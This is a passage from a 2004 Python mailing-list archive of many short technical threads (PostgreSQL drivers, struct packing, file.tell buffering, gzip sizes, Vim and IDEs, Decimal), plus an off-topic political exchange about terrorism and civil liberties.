<4140e595$0$22790$5a62ac22@per-qv1-newsreader-01.iinet.net.au> Message-ID: > I have noticed that there are a numbe rof client libraries for > connecting to Postgres. > Can anyone tell me what is the recommended Python library for database > connections I recommend pyPgSQL - http://pypgsql.sourceforge.net/ it gives you high level (DBAPI2) and if you wish also low level access (libpq) Twisted seems to use it, to. Be happy! There are only around 3 PostgreSQL connectors. There is still the rumour that Python "autopromotion from int to long" was introduced because a *bot wanted to write a skript to count Python Webframeworks. In the old times everybody started his own webframework, nowaday everybody starts her own Python like language. Harald From albalmer at att.net Fri Sep 10 11:18:17 2004 From: albalmer at att.net (Alan Balmer) Date: Fri, 10 Sep 2004 08:18:17 -0700 Subject: Xah Lee's Unixism References: <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <2ql1k0t2cgjbmgp34ir47sv5u9ifv5tmem@4ax.com> Message-ID: <27h3k05dkv0d0nbuovei28erf1c657r899@4ax.com> On Fri, 10 Sep 2004 01:04:50 +0200, "John Thingstad" wrote: >On Thu, 09 Sep 2004 15:36:29 -0700, Alan Balmer wrote: > >> >> BTW, did you mean "extortion"? Distortion is what we see a lot of >> here, though Hoover may have done some of that too. >> > >I guess what I see are endless possibilities of abuse. >No government can be trusted with that type of power. Of course not. That's why we have separation of powers, checks and balances, a multi-party system, and elections. >I feel it is our responsibility as programmers to prevent this type >of abuse of information. I'd rather take my chances with the terrorists. >When you sell out freedom, liberty and justice then what exactly are we >fighting to protect? >Bader-Meihof groups philosophy was that in order to protect the public > from terror >the government would turn the country into a police state. Then the people >would rebel and >support the revolution. From this point of view Bush is letting the >terrorist's win by >sacrificing our constitutional rights. > >Anyhow this is probably not the place to discuss this... Probably not - there are too many intelligent, informed people here who might poke holes in it. -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From peter at engcorp.com Tue Sep 14 16:34:09 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 14 Sep 2004 16:34:09 -0400 Subject: newbie sending hex values over UDP socket In-Reply-To: References: Message-ID: Bill Seitz wrote: > OK, so I'm clear on sending a string. > > If I want to send a numeric value, do I use something like > struct.pack('b',int) > ? I'd suggest playing a bit at the interactive prompt, watching the results of everything you do. For example, trying the above with a few values would tell you exactly what it does, provided you understand that you always see the *repr* value for what is output there, rather than the item itself. That is, when your expression results in a string (as the above does), you see the output of repr(s) instead of s itself, and thus non-printing characters are escaped and the output is surrounded by quotation marks: >>> import struct >>> struct.pack('b', 5) '\x05' >>> struct.pack('b', 255) Traceback (most recent call last): File "", line 1, in ? struct.error: byte format requires -128<=number<=127 >>> struct.pack('b', -128) '\x80' >>> struct.pack('b', 127) '\x7f' >>> struct.pack('i', 127) '\x7f\x00\x00\x00' >>> struct.pack('h', 127) '\x7f\x00' >>> struct.pack('>h', 127) '\x00\x7f' >>> struct.pack(' Good day, I have a number of threads doing inserts in a table, after which I want to do a select. This means that it will occur that the row that I want to select is locked (by the DB). In these cases, I believe I receive an OperationalError (or is it an InterfaceError?). Is it possible (and if so - how?) to verify that the exception occured because of row locking, so that I can wait and try again? Or are there better ways to achieve this? I'm not too charmed about polling loops that may never end. I'm using python 2.3 with psycopg 1.1.13 and PostgreSQL 7.4.2. Regards, Alban Hertroys. From anhtt at hotmail.com Thu Sep 9 03:44:25 2004 From: anhtt at hotmail.com (Tran Tuan Anh) Date: 9 Sep 2004 00:44:25 -0700 Subject: Using Python to generate code? References: <1gjt2sn.1mxhb1n12y29cuN%aleaxit@yahoo.com> <"mailm an.3041.1094661030.5135.python-list"@python.org> <1gjt4u3.qme0dh1ucx3ybN%aleaxit@yahoo.com> Message-ID: Many thanks for your comments and advice! Another concern is that how I can interface Python with Cup/Lex. Writing parser is a no-joke and tedious to me, hence I would like to re-use the existing Cup/Lex scanner and parser. Could anyone confirm that it is possible to do so? (I mean naturally :) In general, the program I am dealing with needs to manipulate strings quite a lot. Eventhough we can certainly do with C++, it does not appeal naturally to me. From FBatista at uniFON.com.ar Tue Sep 21 13:17:45 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Tue, 21 Sep 2004 14:17:45 -0300 Subject: Python 3.0, rich comparisons and sorting order Message-ID: [Carlos Ribeiro] #- For example: today's lists may contain objects of arbitrary types and #- can be sorted; even if the actual ordering may seem arbitrary, it #- works for most purposes. My question is: If Python 3.0 abolishes #- comparison between arbitrary types, how will generic sorting be #- handled? #- #- My guess is that it will not be possible unless you provide a generic #- __cmp__ comparison function (that was the pre-2.1 method, I think). #- The underlying assumption is that heterogeneous lists are #- not supposed #- to be sorted, unless the programmer really knows what he's doing. #- (BTW, for all purposes the same can be said about the use of the new #- key argument provided by 2.4). My guess is that if you have heterogeneous list, and want to sort them, you'll need to pass a function to ``sort()``, which will care about data types and do the right thing. . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: From RobMEmmons at cs.com Sun Sep 5 11:14:59 2004 From: RobMEmmons at cs.com (Robert M. Emmons) Date: Sun, 05 Sep 2004 10:14:59 -0500 Subject: Linux application deployment In-Reply-To: References: Message-ID: <413B2D73.3010106@cs.com> > What you consider a "best way to deploy linux python app"? I don't want > to install library modules into user's site-packages, so distutils is no > help. Yes, I agree. I've noticed that. It seems to me that the only appropriate thing to install in site-packages are libraries to be used to basically extend pythong -- not applications. > Currently, I change sys.path (adding directory where library > modules are stored) and I ask users to install application into /opt > hierarchy, but I don't think it's optimal. My opinion. You can install it where you want. Typically either /opt or /usr/local depending if you want to do a merged or separate install. I would layout the package according the the GNU Standard Directory structure, and consistent with the Linux Standard Base (or HFS). That I think would mean that you'd put the modules into ${exec_prefix}/lib/mypackage-xx.yy.zz and then symlink any launch code to the appropriate bin/ directory. I would then reset sys.path to be the right thing in the startup module - essentially the launcher. There are couple of way to do this -- the installer can modify the python or sh launch code to hard wire the install location or you can do like Gnome does -- have a script that is in the path named mypackage-config where you can lookup the setup. One thing I've always wonders was -- Is there a way for a python module to tell where it's file is located??? If you could do this it might also be possible to have a python script reset sys.path based on it's own location. Rob From jmlai at uci.edu Thu Sep 2 22:23:13 2004 From: jmlai at uci.edu (Jason Lai) Date: Thu, 02 Sep 2004 19:23:13 -0700 Subject: Tuple question In-Reply-To: <87acw86she.fsf@uwo.ca> References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <0qKdnZXAHfyPyKrcRVn-sg@powergate.ca> <87acw86she.fsf@uwo.ca> Message-ID: Dan Christensen wrote: > I'm not sure I buy the arguments against an index operation for > tuples. For example, suppose we were conducting a vote about > something, hmm, let's say decorator syntax. And suppose that > each person is allowed three distinct votes, ranked in order, with the > first vote getting 3 points, the second 2, and the third 1. We might > store the votes in a database, whose rows would naturally be tuples > like > > ('J2', 'C64', 'X11') > > Now suppose we want to calculate the total number of points for > proposal X, but don't need to compute the totals for the other > choices. Code like the following would be a pretty natural > approach: > > for row in rows: > try: > points += 3-row.index(X) > except: > pass > > I realize that there are different ways to code it, but most > are simply reimplementations of the proposed index function. > > Dan Well, for index, row in enumerate(rows): points += 3 - i It's not really reimplementing the index function. You already have the index. I think for most of the cases where people use tuples, you already know what you're using each index for. - Jason From john at grulic.org.ar Tue Sep 14 09:03:51 2004 From: john at grulic.org.ar (John Lenton) Date: Tue, 14 Sep 2004 10:03:51 -0300 Subject: Greenlets: where are they now??? In-Reply-To: References: <29Cdnar3ZOqUFtjcRVn-pg@powergate.ca> Message-ID: <20040914130351.GA10332@grulic.org.ar> On Mon, Sep 13, 2004 at 08:12:07PM -0700, David Pokorny wrote: > > "Peter Hansen" wrote in message > news:29Cdnar3ZOqUFtjcRVn-pg at powergate.ca... > > > Greenlets are about 90% of a solution (which I've thought hard about) to > the > > > problem of interrupting an execution after 50 byte-code, while retaining > the > > > ability to resume the execution (for, say, another 50 byte codes). > > > > Python's regular threads already allow this, so there must be > > something more to it. > > I haven't the faintest idea how to gain fine control over threads. In > particular, suppose I have 10 of these "executions" going (lets call them > "steplets") and I want to run each of them for 50 byte-codes, then switch > back to the controlling thread and do lots of bookkeeping (I don't control > the code that the steplets run). I also have a bunch of other processes that > I don't want to take part in this "cycle rationing" but rather run as honest > threads. wouldn't calling setcheckinterval with some ridiculously large argument on entering the loop and setting it back to 100 (or 50) on exit be enough? -- John Lenton (john at grulic.org.ar) -- Random fortune: Q: How many Marxists does it take to screw in a light bulb? A: None: The light bulb contains the seeds of its own revolution. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: From rkern at ucsd.edu Mon Sep 27 20:42:52 2004 From: rkern at ucsd.edu (Robert Kern) Date: Mon, 27 Sep 2004 17:42:52 -0700 Subject: f2py error - windows xp (F2PY-2.43.239_1806) In-Reply-To: References: Message-ID: M. Faust wrote: > Thanks, Bethold for a good hint ... > > I had in "Numeric/arrayobject.h" > > typedef struct { > PyObject_HEAD > char *data; > int nd; > int *dimensions, *strides; > PyObject *base; > PyArray_Descr *descr; > int flags; > } PyArrayObject; > > After adding > > PyObject *weakreflist; > > I could generate a hello.pyd. Python really is an incredibly versatile > and powerful tool. Don't do that. You are looking at an old version of Numeric/arrayobject.h . Delete that directory and everything else Numeric and re-install Numeric 23.3 . Check it again. It should have the appropriate members, then. -- Robert Kern rkern at ucsd.edu "In the fields of hell where the grass grows high Are the graves of dreams allowed to die." -- Richard Harter From webbsoft2 at alltel.net Tue Sep 21 15:58:07 2004 From: webbsoft2 at alltel.net (w) Date: 21 Sep 2004 12:58:07 -0700 Subject: New to Python Message-ID: excuse my ignorance. I cannot get this simple program to calculate the formula. The error message is unsupported operand type(s) str. I know the data that I'm reading from the file is a string but I cannot convert it to a float or int. The code a sample form the data file are below. # Calculate Gross Profit from SIL File import os.path in_file = open( "s3cga1.new", "r") while 1: data = in_file.readline() if not data: break if data[0:1] == "(": nCost = data[ 99:106] nPack = data[ 44:48] nRetail = data[ 79:87] nQuan = data[ 87:90] nAllowance = data[ 147:154] nGp = ( ( nRetail / nQuan ) - ( ( nCost - nAllowance) / nPack ) ) / ( nRetail / nQuan ) print nCost, nPack, nQuan, nRetail, nAllowance EXAMPLE OF DATA FILE (00007756725434,'*BREYER STRWBRY ICE ',0007,0006,' 56 OZ ','000216 ',0004.95,001,2004260,0024.43000,0000000,00000.00,000,0000000,0000000,0004.00000,2004262,2004282), (00007756725433,'*BREYER PEACH ICE CR',0007,0006,' 56 OZ ','000224 ',0004.95,001,2004260,0024.43000,0000000,00000.00,000,0000000,0000000,0004.00000,2004262,2004282), From vze4rx4y at verizon.net Thu Sep 23 17:27:41 2004 From: vze4rx4y at verizon.net (Raymond Hettinger) Date: Thu, 23 Sep 2004 21:27:41 GMT Subject: spliting a list by nth items References: Message-ID: [Steven Bethard] > so I could probably do > something along these lines (inspired by your two suggestions): > > non_nth_items = [item for i, item in enumerate(items) if (i - start) % n] > > instead of my original > > non_nth_items = list(items) > del non_nth_items[start::n] > > The enumerate/range solution is a little more verbose, but it does only go > through the list once. Thanks for the good suggestions! The enumerate solution has a lot going for it. It is more flexible and easily accomodates criteria other than every nth item. More importantly, it demonstrates an important guiding principle: multiple list deletions are a code smell indicating that building a new list is a better approach. On this newsgroup, I've seen people tie themselves in knots with multiple in-place deletions during iteration when the new list approach was clearer, more robust, and faster. The runtime behavior of the non_nth_items[start::n] approach is implementation dependent. One can easily imagine a O(n**2) process running behind the scenes. CPython is a smarter than that, but the code for list_ass_subscript() in listobject.c is not a pretty sight. Raymond Hettinger From carribeiro at gmail.com Mon Sep 27 12:43:31 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 27 Sep 2004 13:43:31 -0300 Subject: Anonymous class members In-Reply-To: References: <864d370904092707013e2254a6@mail.gmail.com> Message-ID: <864d3709040927094354445729@mail.gmail.com> On Mon, 27 Sep 2004 15:28:43 +0100, Ben Last wrote: > I'm probably missing something here... but if you want a collection of > anonymous attributes... why not just store them in a list? Actually, I'm trying to convince Python to allow me to use a class declaration for things that are normally done using data-driven code. Instead of reading a XML description or a plain Python dict or list, I would like to write a class declaration. The reason? added flexibility and more readability. For now it's just an experiment, with promising results so far. BTW, I think that I should have waited more time before posting this message to the list. The basic idea is good, but I still have to study a lot of things to understand exactly what I want, what should be done in practice, and what can be done given Python's capabilities and style. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From robin.siebler at palmsource.com Mon Sep 13 20:05:02 2004 From: robin.siebler at palmsource.com (Robin Siebler) Date: 13 Sep 2004 17:05:02 -0700 Subject: fimecmp.dircmp Message-ID: <95c29a5e.0409131605.71978348@posting.google.com> I thing this will do what I need, if I can figure out how to use it! I have a few questions (another component with sparse documentation!): report() - Print (to sys.stdout) a comparison between a and b. How can I assign this to a variable? I tried foo = filecmp.dircmp('d:\\basedata', 'd:\\results') results = foo.report_partial_closure() This didn't assign anything to results, instead it printed it out to the screen where I can't do anything with it. left_only Files and subdirectories only in a. right_only Files and subdirectories only in b. I tried foo.right_only, but all I got is []. However, the report shows 'Only in d:\results\GenXRD_Output : ['BAD_LOCALE_2']', so foo.right_only should report something. From nick at craig-wood.com Fri Sep 10 04:30:02 2004 From: nick at craig-wood.com (Nick Craig-Wood) Date: 10 Sep 2004 08:30:02 GMT Subject: A bug with file.tell()? References: Message-ID: Nick Jacobson wrote: > Is this a bug? > > This code involves the file methods "seek" and "tell". Even though > the file pointer is in the middle of the file, "tell" returns a > position at the end of the file! Its something to do with buffering when using the file() as an iterator. > fp = file("test.txt") > #read in some of the file: > for line in fp: > if line == "blah3\n": > break > fpos = fp.tell() #save the current position... > > for line in fp: > print line #prints "asdf", so it wasn't at the end of the file > > fp.seek(fpos) #rewind? > for line in fp: > print line #prints nothing, because it's at the end of the file! > > > The test.txt file is: > blah1 > blah2 > blah3 > asdf If you re-write your loop using this equivalent code :- #... while 1: line = fp.readline() if line == "": # EOF break if line == "blah3\n": break #... You'll find it works fine. IMHO this is a bug - even with buffering tell() should give where the file returned data to the user not where its read data from the file. -- Nick Craig-Wood -- http://www.craig-wood.com/nick From me at here.there.nowhere Sun Sep 19 23:51:51 2004 From: me at here.there.nowhere (=?UTF-8?B?0JTQsNC80ZjQsNC9INCT0LXQvtGA0LPQuNC10LLRgdC60Lg=?=) Date: Mon, 20 Sep 2004 05:51:51 +0200 Subject: File cache for images Message-ID: <414e53d7@news.mt.net.mk> I'm looking for a way to cache some modified images as files (in a python program ofcourse). The scenario would look like this: getmodifiedimage(filename): is it in cache? is the cache up to date (not older than file) if not, modify filename and store in cache (keyed by filename + modification) return modified image I'm looking for prior-art before inventing it myself :) -- ?????? If Bill Gates had a dime for every time a Windows box crashed... ...Oh, wait a minute, he already does. From narshe at gmail.com Wed Sep 22 14:04:57 2004 From: narshe at gmail.com (Josh Close) Date: Wed, 22 Sep 2004 13:04:57 -0500 Subject: OT: regex to find email In-Reply-To: References: Message-ID: <4a0cafe204092211045e24aee9@mail.gmail.com> On Wed, 22 Sep 2004 08:59:08 +0200, Fredrik Lundh wrote: > Jorgen Grahn wrote: > > > I've seen no references to RFC 2822 in this thread ... please note that what > > all these regexes catch is unlikely to be exactly the set of all valid RFC > > 2822 addresses. > > the perl faq is also required reading: > > http://www.perldoc.com/perl5.6/pod/perlfaq9.html#How-do-I-check-a-valid-mail-address- > > Q. How do I check a valid mail address? > > A. You can't, at least, not in real time. Bummer, eh? > > Without sending mail to the address and seeing whether there's a human > on the other hand to answer you, you cannot determine whether a mail > address is valid. > > what morally sound reasons are there to scrape mail addresses from text > documents, btw? > Well, I do know that a lot of email hosting companies like hotmail, yahoo, etc, have certain standards for user names which are probably a lot more strict than RFC2822. That's what I was going by, but it could possibly miss a few names/domains with it. -Josh From aleaxit at yahoo.com Sun Sep 26 05:29:15 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 26 Sep 2004 11:29:15 +0200 Subject: Database connections References: Message-ID: <1gkpwof.bpxui8dx63plN%aleaxit@yahoo.com> Egbert Bouwman wrote: ... > I use postgres with psycopg. > > The essence of my program is to do operations on a specific database, > so I need a connection all the time. > The program may run for hours or even days. Why not. Sure, quite reasonable. > I can start a connection at the beginning of the program, and close it at > the end. > Or I may do it as a class-level instruction in the class that is > responsible for the database operations. So it is executed only once, > at the first import. Either makes sense. > But it gives an insecure feeling. Connections may break down, and intruders > may misuse them. If anybody can hijack an existing connection to a database, inserting themselves in the middle of an existing conversation, your whole system is already in such deep dodo that any attempt at amelioratio is doomed. Sure, connections do break down -- server might be down or whatever. > I can test if the connection still exist before I do a real transaction. > How do I test, if not with some dummy execute ? Nah! Just be ready to catch the exception you'll get if the server is down or whatever, and react to such a hopefully-transient failure like you would to any other (try reopening once, or try periodically forever, or whatever else is your policy for "server is down or the like"). > The alternative is to open and close a connection immediately before > and after each transaction + commit. Is that a too defensive way of life ? Yes, it is. I don't really see benefits. You still have to be ready to catch and deal with exceptions for the unlikely but not impossible case that the server goes down smack in the middle of a transaction -- until commit succeeds everything is in the air and you must be ready to retry or whatever. So reuse that readiness to catch the possibility of the connection having gone down before your transaction started rather than crashing smack in the middle of it, it's no harder, really. Alex From jerf at jerf.org Tue Sep 7 13:50:52 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Tue, 07 Sep 2004 17:50:52 GMT Subject: Python Interpreter question. References: Message-ID: On Tue, 07 Sep 2004 12:56:40 -0400, Roy Smith wrote: > Whether you want to call this "interpreted" or "compiled" is, I > suppose, a matter of personal opinion. It is, for some suitable (but widely-agreed upon) definitions of those words, both. It is compiled into a form that is then interpreted. Suitable definitions, for instance: * Compile: To take some semantic meaning in one format (.py Python source files) and convert it to some other format (.pyc compiled source) with equivalent semantics. (This is a very general definition.) * Interpret: To run a program not encoded in the native binary format of the processor executing the program by providing it with a virtual machine to run on that executes the program. Java, .NET, and a lot of other things work this way now. The day is rapidly approaching, if not already here, where rejecting "interpreted" languages is to reject the majority of running code as "not real code". From adurdin at gmail.com Thu Sep 16 22:08:36 2004 From: adurdin at gmail.com (Andrew Durdin) Date: Fri, 17 Sep 2004 12:08:36 +1000 Subject: Need script to download file at known address In-Reply-To: References: <1gk5zhe.1s52tcf7c6ucjN%aleaxit@yahoo.com> Message-ID: <59e9fd3a04091619084a77353@mail.gmail.com> On Fri, 17 Sep 2004 01:46:42 GMT, Radioactive Man wrote: > Here is the test script I came up with: > > import urllib > f = urllib.urlopen("http://www.python.org/pics/pythonHi.gif") > g = f.read() > file = open("trash.gif", "w") > file.write(g) > file.close() You're opening the output file in ascii mode, so newlines characters are getting converted to the CR/LF combination. Change the second parameter to open() to "wb". From hpenner at gmail.com Fri Sep 10 14:45:42 2004 From: hpenner at gmail.com (Harry Penner) Date: Fri, 10 Sep 2004 13:45:42 -0500 Subject: Xah Lee's Unixism In-Reply-To: References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> Message-ID: <822221bb04091011454b32ceeb@mail.gmail.com> We're a little more concerned with making sure terrorists are all killed or detained before they murder more innocents, than with making sure their accommodations get a 5-star rating. And -- although two wrongs don't make a right -- doesn't the Geneva Convention also prohibit targeting civilians? The scum and villainy we're fighting doesn't exactly come into equity with clean hands; you make it sound Kafkaesque, as if they were randomly picked up off the street and jailed. These are people who would still be actively trying to kill Americans if we let them out. As for international agreements and keeping to the Geneva Convention in general, let's just say it would be a whole lot cheaper and easier not to use the precision "smart" weapons that have spared so many Afghan and Iraqi civilian lives so far. But I think we're getting a *little* OT here, unless this discussion results in some pythonic irc-bots to argue by proxy. :) I'd be happy to continue a debate off-list... -Harry On Fri, 10 Sep 2004 18:05:06 GMT, Coby Beck wrote: > > "Alan Balmer" wrote in message > news:3fh3k0tnumgcvdd89h8jbbnc2j92t97i76 at 4ax.com... > > Can you point to the international agreement which allows Canadian > > citizens to be thrown into US jails for the stated offense? > > It's probably in the same international agreement that allows citizens of > any country to be held incommunicado indefinitely in Guantanamo Bay. And > the same international agreement that allows Afgan and Iraqi POW's to be > imprisoned with no Geneva convention protection and hidden from > International Red Cross. Do you really think the Bush administration cares > about international agreements? > > -- > Coby Beck > (remove #\Space "coby 101 @ big pond . com") > > > > > -- > http://mail.python.org/mailman/listinfo/python-list > From heikowu at ceosg.de Mon Sep 20 03:49:00 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Mon, 20 Sep 2004 09:49:00 +0200 Subject: python is going to die! =( In-Reply-To: References: Message-ID: <200409200949.00958.heikowu@ceosg.de> Am Sonntag, 19. September 2004 23:58 schrieb julio: > If you think you can make anyone switch to C# because of some inflammatory comments about Python, think again. And you know what: I've coded using the "massively productivity increasing IDE called Visual Studio" in C++, and yeah, you are right that for programming in C++ I needed call tips, integrated help, and everything, just because I wouldn't have been productive at all with out them (can't keep stupid hungarian notation property names of all MFC classes in your head, can you?). But with Python, I've yet to find a class which can't be inspected/tried out with the command interpreter. And isn't this so much better than having to read documentation or having call tips? At least programs that were written for Python six years ago still work on the Python VM, programs written for the .NET VM couldn't have been written less than 3/2 years ago, and those early versions of C# were completely different anyway (Microsoft style of ensuring that all programmers retain their jobs; everytime a new Windows or other program comes out, you have to port the program to it, just look at the switch from VBA 5.0 to VBA 6.0)... Anyway, all you talk about are IDEs, you don't talk about the language. Have you even considered what warts Python has in your own experience (then that's something that I could discuss about with you), or have you just found Skip Montanaro's page about Python warts and thought: yeah, when some Python god like him says so, those must be warts? Just go and leave us alone here troll. Heiko. From aleaxit at yahoo.com Thu Sep 16 08:16:22 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 16 Sep 2004 14:16:22 +0200 Subject: Ranting about the state of Python IDEs for Windows References: <2qo1v3F11r4inU1@uni-berlin.de> <1gk5km1.1swwqe59any8yN%aleaxit@yahoo.com> <2qtcjpF120qvbU1@uni-berlin.de> Message-ID: <1gk7m2e.jnaaas1e93hhqN%aleaxit@yahoo.com> Daniel Ellison wrote: ... > > Except, no tabbed interface when editing multiple files (not even with > > GVIM: just ONE window, as seen from the OS/GUI level, even though vim > > can partition it). Vim is my favourite editor, but the lack of tabbed > > interface _is_ a pity. ... > Ah, but that partitioning, or splitting windows, is a viable alternative > to tabs. Once one gets used to it, splitting and moving from window to > window is done without thought. No, it's not convenient to have a dozen I've used VIM since day one (and vi before then) and yet I consider its "partitioning or splitting window" a substantial productivity loss compared to tabbed editors. Not a matter of getting used to it, just ergonomically inferior. > The only thing Vim doesn't have is project management. But I do believe > there are Vim scripts that can handle this function to a certain extent. That one I don't miss in the least. > Anyway, I'm not here to convert anyone. I just know that every time I've > tried to move to another editor I always end up back at Vim. Me too, but that's part of why I grouse so badly about the few things Vim doesn't do _right_. When I'm dialed in, no GUI, slow line, and have to use vim without the G, sure, kludges like window splitting are better than nothing. But mostly I'm on a GUI, with gvim, and the lack of tabbed editing just sucks. Next time I have some spare time (that will be the day) I'll give emacs+its vi emulations another try, I think. Most likely I'll come back to Vim and start grousing again, tho...;-) Alex From carribeiro at gmail.com Fri Sep 24 16:48:24 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 24 Sep 2004 17:48:24 -0300 Subject: Why not FP for Money? In-Reply-To: References: Message-ID: <864d3709040924134834388b9f@mail.gmail.com> [Facundo Batista] # Why those steps? To achieve a community consensus for the PEP # I've made was not easy and took me a long time. Before it becomes # a core data type (if someday), decimal needs to be used *widely*. # So start spreading the word! :) ... # Meanwhile, use decimal.Decimal(""). The problem is that the notation proposed for literals is a show stopper. I can guarantee to you that any novice using Python would immediately understand and use the Decimal type -- but only if the notation were convenient enough. More often than not, people will continue to use floats, have precision problems, and complain at c.l.py. I could bet that the number of threads about rounding errors is not going to be lower over the next months even with Decimal in the standard library :-) (Let's hope I'm wrong!) -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From roo at try-removing-this.darkboong.demon.co.uk Sat Sep 4 16:17:33 2004 From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott) Date: Sat, 04 Sep 2004 21:17:33 +0100 Subject: Xah Lee's Unixism In-Reply-To: <1bpt51alai.fsf@cs.nmsu.edu> References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <1094257487.855439@teapot.planet.gong> <1094285694.404322@teapot.planet.gong> <1bpt51alai.fsf@cs.nmsu.edu> Message-ID: <1094329053.514935@teapot.planet.gong> Joe Pfeiffer wrote: >>"Rupert Pigott" wrote in >>message news:1094285694.404322 at teapot.planet.gong... >> >> >>>Consider this : If the tables were turned and an Aerojet booster >>>exploded in the sky I'll bet the armchair QBs would be asking why >>>were Aerojet chosen over Morton-Thiokol who had more experience of >>>building large solid-fuel rockets. > > > However, it would certainly not have failed at the segment joints.# Indeed, it could have failed in a way entirely unique to itself... :) The O-Ring thing had been identified, was preventable and should have been prevented. Sure, perhaps the design did suck, but the point is the whole disaster was trivially avoidable if the people running the show were willing to grasp the nettle. > The more I read sci.space.tech the more convinced I am that the whole > shuttle concept was fundamentally flawed from the beginning. Putting > the orbiter next to (rather than on top of) the huge tank of high > explosive is not a good idea. Reentry from orbit is not the same as > flying an airplane; ablative heat shields work and work well. It does seem silly, but it is a glorious piece of brute force design in the face of impossible odds none the less. Cheers, Rupert From b.niemann at betternet.de Mon Sep 20 09:11:55 2004 From: b.niemann at betternet.de (Benjamin Niemann) Date: Mon, 20 Sep 2004 15:11:55 +0200 Subject: uncompressed size of .gz file In-Reply-To: References: <1095339670.41498e96865f0@correo.cujae.edu.cu> Message-ID: It should be noted that this information may not be reliable, the filesize could be faked by a modified .gz file. "Bad guys" might use this to create a file that fills up your HD when you try to unpack it (e.g. used as a DOS attack again virus scanners that analyse compressed mail attachments). If you have to handle .gz files from unknown sources and you want to defend such attacks, the mentioned method is not sufficient. Fredrik Lundh wrote: > "frankabel at tesla.cujae.edu.cu" wrote: > > >>What python function give me the uncompressed size of .gz file like >>"gzip -l name_of_compress_file". > > > the size is stored as a 32-bit integer at the end of the file. to get it, you > can use something like: > > def getsize(gzipfile): > import struct > f = open(gzipfile, "rb") > if f.read(2) != "\x1f\x8b": > raise IOError("not a gzip file") > f.seek(-4, 2) > return struct.unpack(" > usage: > > >>>>print getsize("Python-2.4a3.tgz") > > 38758400 > > hope this helps! > > > > > From indrek.kruusa at tuleriit.ee Tue Sep 21 07:13:12 2004 From: indrek.kruusa at tuleriit.ee (Indrek Kruusa) Date: Tue, 21 Sep 2004 11:13:12 -0000 Subject: Telecoms progs... Message-ID: <4107B1A7.6080907@tuleriit.ee> Hi! I have wrote one simple piece of code - phone bill calculation - for comparing several scripting languages (c#,perl,python). You can find results from "Speed test" section at: http://www.tuleriit.ee/progs/index.php Please remember that these scripts are for comparing languages behavior and are not meant as good programming examples how to resolv particular problem. If there is something wrong with python code please let me know! :) Thanks, Indrek From peter at engcorp.com Thu Sep 2 08:52:51 2004 From: peter at engcorp.com (Peter Hansen) Date: Thu, 02 Sep 2004 08:52:51 -0400 Subject: Xah Lee's Unixism In-Reply-To: <20040901.2343.57633snz@dsl.co.uk> References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> Message-ID: Brian {Hamilton Kelly} wrote: > wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org "SM Ryan" wrote: >>There's a story about why railroad tracks are spaced the way they are. > > Is this the one about two Roman horses' arses? If so, it also accounts > for the physical dimensions of the Space Shuttle's boosters. A quick search using Google will show that while there is a certain amount of truth in the original story, most of the details are wrong, and the final bit about the booster rockets is unsubstantiated. But it's still a cute story. -Peter From scook at elp.rr.com Wed Sep 8 00:31:26 2004 From: scook at elp.rr.com (Stan Cook) Date: Wed, 08 Sep 2004 04:31:26 GMT Subject: Remove items from a list References: Message-ID: Yes, I used the listdir. The list is a list of files in the directory. I want to filter everything out but the ".dbf" files. "Dan Perl" wrote in message news:KOv%c.104$GRm.52 at news04.bloor.is.net.cable.rogers.com... : What is the content of _dbases? How do you create that list? If I : understand correctly, it is a list of file names that you may have gotten : with os.listdir( ). : : And I want to make sure I understand the problem. Are you trying to remove : the names from the list or are you trying to remove the files themselves? : Just making sure that it's not the latter... : : Can you put more in your example, something that I may be able to run and : see the results? : : Dan : : "Stan Cook" wrote in message : news:ysv%c.32876$Dl4.14767 at fe2.texas.rr.com... : I was trying to take a list of files in a directory and remove all but the : ".dbf" files. I used the following to try to remove the items, but they : would not remove. Any help would be greatly appreciated. : : x = 0 : for each in _dbases: : if each[-4:] <> ".dbf": : del each # also tried: del _dbases[x] : x = x + 1 : : I must be doing something wrong, but it acts as though it is.... : : signed : . . . . . at the end of my rope....! : : : --- : Outgoing mail is certified Virus Free. : Checked by AVG anti-virus system (http://www.grisoft.com). : Version: 6.0.749 / Virus Database: 501 - Release Date: 9/1/04 : : --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.749 / Virus Database: 501 - Release Date: 9/1/04 From fuzzyman at gmail.com Tue Sep 7 06:35:00 